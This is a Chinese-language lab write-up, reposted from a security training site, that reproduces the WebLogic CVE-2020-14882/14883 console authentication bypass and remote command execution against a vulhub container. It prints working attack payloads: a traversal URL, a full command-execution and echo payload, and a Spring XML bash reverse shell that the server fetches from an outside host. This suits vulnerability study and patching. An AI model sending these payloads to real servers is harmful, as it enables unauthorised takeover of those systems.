CVE-2020-14882&14883weblogic未授權命令執行漏洞復現


本文首發於“合天網安實驗”   作者: 淺墨

本文涉及靶場知識點-

CVE-2020-14882&14883 weblogic未授權訪問漏洞

實驗:CVE-2020-14882&14883 weblogic未授權訪問漏洞(合天網安實驗室)

簡介

WebLogic 是美國 Oracle 公司的主要產品之一,是商業市場上主要的 J2EE 應用服務器軟件,也是世界上第一個成功商業化的 J2EE 應用服務器,在 Java 應用服務器中有非常廣泛的部署和應用。

概述

10 月 21 日,Oracle 官方發布數百個組件的高危漏洞公告。其中組合利用 CVE-2020-14882/CVE-2020-14883 可使未經授權的攻擊者繞過 WebLogic 后台登錄等限制,最終遠程執行代碼接管 WebLogic 服務器,利用難度極低,風險極大。

此處漏洞均存在於 WebLogic 的控制台中。該組件為 WebLogic 全版本自帶組件,並且該漏洞通過 HTTP 協議進行利用。CVE-2020-14882允許未授權的用戶繞過管理控制台的權限驗證訪問后台,CVE-2020-14883允許后台任意用戶通過HTTP協議執行任意命令。使用這兩個漏洞組成的利用鏈,可通過一個GET請求在遠程Weblogic服務器上以未授權的任意用戶身份執行命令。

影響版本

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

環境搭建

此處利用vulhub的環境進行復現,新建docker-compose.yml

version: '2'
services:
 weblogic:
   image: vulhub/weblogic:12.2.1.3-2018
   ports:
    - "7001:7001"

執行以下命令會下載鏡像並以此鏡像啟動一個容器,映射的端口為7001

docker-compose up -d

權限繞過漏洞(CVE-2020-14882)復現:

因為CVE-2020-14882未授權訪問漏洞是繞過管理控制台權限訪問后台,所以需要存在console控制台,打開瀏覽器訪問:

http://ip:port/console

  從上一步結果發現是存在管理控制台的,在正常訪問console后台時會讓我們輸入賬號密碼。通過未授權訪問,則可以直接繞過驗證登錄后台,漏洞

URL:/console/css/%252e%252e%252fconsole.portal

未授權訪問控制台頁面:

正常輸入賬號密碼登錄控制台頁面:

通過對比可以看到通過未授權訪問的后台與正常登陸的后台差異,由於權限不足,缺少部署等功能,無法安裝應用,所以也無法通過后台部署war包等方式直接獲取權限。“%252E%252E%252F”為二次url編碼的“../”,通過這個就可以實現穿越路徑未授權訪問相關管理后台。

后台任意命令執行漏洞(CVE-2020-14883)復現:

利用方式一

com.tangosol.coherence.mvel2.sh.ShellSession

但此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因為 10.3.6 並不存在 com.tangosol.coherence.mvel2.sh.ShellSession 類。

在12.2.1.3版本執行"id"命令 burpsuite

GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1
Host: 192.168.74.141:7001
Pragma: no-cache
cmd: id
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6
Cookie: ADMINCONSOLESESSION=ufkDQ2w_WXPmMBVQWCpxVBrNdKxp4L58RhydPTssNxYAmgnYP-4Y!-326883263; ADMINCONSOLESESSION=lGPJf1JPnXR7pG1qZzw0xXmwGtMQcPpJ0GVJrg0pv0LGCS6LdH0g!1599365627
Connection: close

回顯payload:

/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

 

在10.3.6版本執行會報錯

利用方式二

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
 

這是一種更為通殺的方法,最早在CVE-2019-2725被提出,對於所有Weblogic版本均有效。

首先,我們需要構造一個XML文件,並將其保存在Weblogic可以訪問到的服務器上,這里是執行一個反彈shell的操作,如

http://example.com/rce.xml:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

nc監聽,然后執行一個get請求:

http://192.168.74.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://139.9.198.30/rce.xml")

nc監聽的端口得到反彈shell

經過測試,該方法在12.2.1.3以及10.3.6版本都可以執行

漏洞修復

目前 Oracle 官方已發布了最新針對該漏洞的補丁,請受影響用戶及時下載補丁程序並安裝更新。Oracle 官方補丁需要用戶持有正版軟件的許可賬號,使用該賬號登陸 https://support.oracle.com 后,可以下載最新補丁。

參考鏈接

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
https://github.com/jas502n/CVE-2020-14882

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM